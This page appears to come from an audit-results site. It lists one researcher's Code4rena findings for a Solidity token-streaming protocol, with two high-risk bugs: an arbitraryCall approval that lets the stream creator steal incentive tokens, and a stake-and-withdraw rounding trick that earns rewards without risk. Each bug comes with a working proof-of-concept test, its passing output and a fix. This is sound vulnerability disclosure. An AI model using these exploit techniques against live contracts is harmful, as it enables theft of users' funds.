Streaming Protocol contest - bitbopper's results

General Information

Platform: Code4rena

Start Date: 30/11/2021

Pot Size: $100,000 USDC

Total HM: 15

Participants: 36

Period: 7 days

Judge: 0xean

Total Solo HM: 4

Id: 62

League: ETH

Streaming Protocol

Findings Distribution

Researcher Performance

Rank: 2/36

Findings: 4

Award: $8,633.19

🌟 Selected for report: 2

🚀 Solo Findings: 1

Findings Information

🌟 Selected for report: toastedsteaksandwich

Also found by: Meta0xNull, Omik, ScopeLift, bitbopper, gzeon, pedroais, wuwe1

Labels

bug
duplicate
3 (High Risk)

Awards

481.7736 USDC - $481.77

External Links

Handle

bitbopper

Vulnerability details

Impact

streamCreator can remove incentive tokens before endStream by calling approve on the token beforehand.

streamCreator has following methods of attack:

  • guess from whom and with what he is going to be incentiviced
  • listen in the mempool and win PGA in order to get executed before the createIncentive transaction.
  • listen in the mempool and use flashbots to get executed before the createIncentive transaction.

Results in premature loss of funds of the Stream contract.

Proof of Concept

Improve LockeTest.sol with:

function doIncentivice(Stream stream, address token, uint112 amount) public { write_balanceOf_ts(address(token), address(this), amount); ERC20(token).approve(address(stream), amount); stream.createIncentive(token, amount); }

Add following to StreamTest of Locke.t.sol :

function test_arbCallSteal() public { //// SETUP ( uint32 maxDepositLockDuration, uint32 maxRewardLockDuration, uint32 maxStreamDuration, uint32 minStreamDuration ) = defaultStreamFactory.streamParams(); uint64 nextStream = defaultStreamFactory.currStreamId(); Stream stream = defaultStreamFactory.createStream( address(testTokenA), address(testTokenB), uint32(block.timestamp + 10), maxStreamDuration, maxDepositLockDuration, 0, false // false, // bytes32(0) ); testTokenA.approve(address(stream), type(uint256).max); stream.fundStream(1_000_000_000); //// BOOKKEEPING uint beforeBalance = testTokenC.balanceOf(address(alice)); //// ATTACK uint112 incentiveAmount = 100000; stream.arbitraryCall(address(testTokenC), abi.encodeWithSignature("approve(address,uint256)", address(this), incentiveAmount)); chelsea.doIncentivice(stream, address(testTokenC), incentiveAmount); //// STEAL testTokenC.transferFrom(address(stream), address(alice), incentiveAmount); //// PROOF uint afterBalance = testTokenC.balanceOf(address(alice)); emit log_named_uint("alice gained", afterBalance); assert (afterBalance > beforeBalance); assert (afterBalance == incentiveAmount); }

Output

dapp test --verbosity=2 --match "test_arbCallSteal" Running 1 tests for src/test/Locke.t.sol:StreamTest [PASS] test_arbCallSteal() (gas: 4114944) Success: test_arbCallSteal alice gained: 100000

Tools Used

dapptools

Ensure incoming amount of incentive token is not greater than the existing allowance for that token from the incentive sender at createIncentive.

#0 - brockelmore

2021-12-08T22:27:21Z

slightly incorrect - it allows the gov to remove the incentive

#1 - 0xean

2022-01-14T22:01:00Z

dupe of #199

Findings Information

🌟 Selected for report: bitbopper

Labels

bug
3 (High Risk)
sponsor confirmed

Awards

8058.1521 USDC - $8,058.15

External Links

Handle

bitbopper

Vulnerability details

Impact

stake and withdraws can generate rewardTokens without streaming depositTokens. It does not matter whether the stream is a sale or not.

The following lines can increase the reward balance on a withdraw some time after stake: https://github.com/code-423n4/2021-11-streaming/blob/main/Streaming/src/Locke.sol#L219:L222

// accumulate reward per token info cumulativeRewardPerToken = rewardPerToken(); // update user rewards ts.rewards = earned(ts, cumulativeRewardPerToken);

While the following line can be gamed in order to not stream any tokens (same withdraw tx). Specifically an attacker can arrange to create a fraction less than zero thereby substracting zero. https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L229

ts.tokens -= uint112(acctTimeDelta * ts.tokens / (endStream - ts.lastUpdate)); // WARDEN TRANSLATION: (elapsedSecondsSinceStake * stakeAmount) / (endStreamTimestamp - stakeTimestamp)

A succesful attack increases the share of rewardTokens of the attacker. The attack can be repeated every block increasing the share further. The attack could be done from multiple EOA increasing the share further. In short: Attackers can create loss of funds for (honest) stakers.

The economic feasability of the attack depends on:

  • staked amount (times number of attacks) vs total staked amount
  • relative value of rewardToken to gasprice

Proof of Concept

code

The following was added to Locke.t.sol for the StreamTest Contract to simulate the attack from one EOA.

function test_quickDepositAndWithdraw() public { //// SETUP // accounting (to proof attack): save the rewardBalance of alice. uint StartBalanceA = testTokenA.balanceOf(address(alice)); uint112 stakeAmount = 10_000; // start stream and fill it ( uint32 maxDepositLockDuration, uint32 maxRewardLockDuration, uint32 maxStreamDuration, uint32 minStreamDuration ) = defaultStreamFactory.streamParams(); uint64 nextStream = defaultStreamFactory.currStreamId(); Stream stream = defaultStreamFactory.createStream( address(testTokenA), address(testTokenB), uint32(block.timestamp + 10), maxStreamDuration, maxDepositLockDuration, 0, false // false, // bytes32(0) ); testTokenA.approve(address(stream), type(uint256).max); stream.fundStream(1_000_000_000); // wait till the stream starts hevm.warp(block.timestamp + 16); hevm.roll(block.number + 1); // just interact with contract to fill "lastUpdate" and "ts.lastUpdate" // without changing balances inside of Streaming contract alice.doStake(stream, address(testTokenB), stakeAmount); alice.doWithdraw(stream, stakeAmount); ///// ATTACK COMES HERE // stake alice.doStake(stream, address(testTokenB), stakeAmount); // wait a block hevm.roll(block.number + 1); hevm.warp(block.timestamp + 16); // withdraw soon thereafter alice.doWithdraw(stream, stakeAmount); // finish the stream hevm.roll(block.number + 9999); hevm.warp(block.timestamp + maxDepositLockDuration); // get reward alice.doClaimReward(stream); // accounting (to proof attack): save the rewardBalance of alice / save balance of stakeToken uint EndBalanceA = testTokenA.balanceOf(address(alice)); uint EndBalanceB = testTokenB.balanceOf(address(alice)); // Stream returned everything we gave it // (doStake sets balance of alice out of thin air => we compare end balance against our (thin air) balance) assert(stakeAmount == EndBalanceB); // we gained reward token without risk assert(StartBalanceA == 0); assert(StartBalanceA < EndBalanceA); emit log_named_uint("alice gained", EndBalanceA); }

commandline

dapp test --verbosity=2 --match "test_quickDepositAndWithdraw" 2> /dev/null Running 1 tests for src/test/Locke.t.sol:StreamTest [PASS] test_quickDepositAndWithdraw() (gas: 4501209) Success: test_quickDepositAndWithdraw alice gained: 13227

Tools Used

dapptools

Ensure staked tokens can not generate reward tokens without streaming deposit tokens. First idea that comes to mind is making following line https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L220 dependable on a positive amount > 0 of: https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L229

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter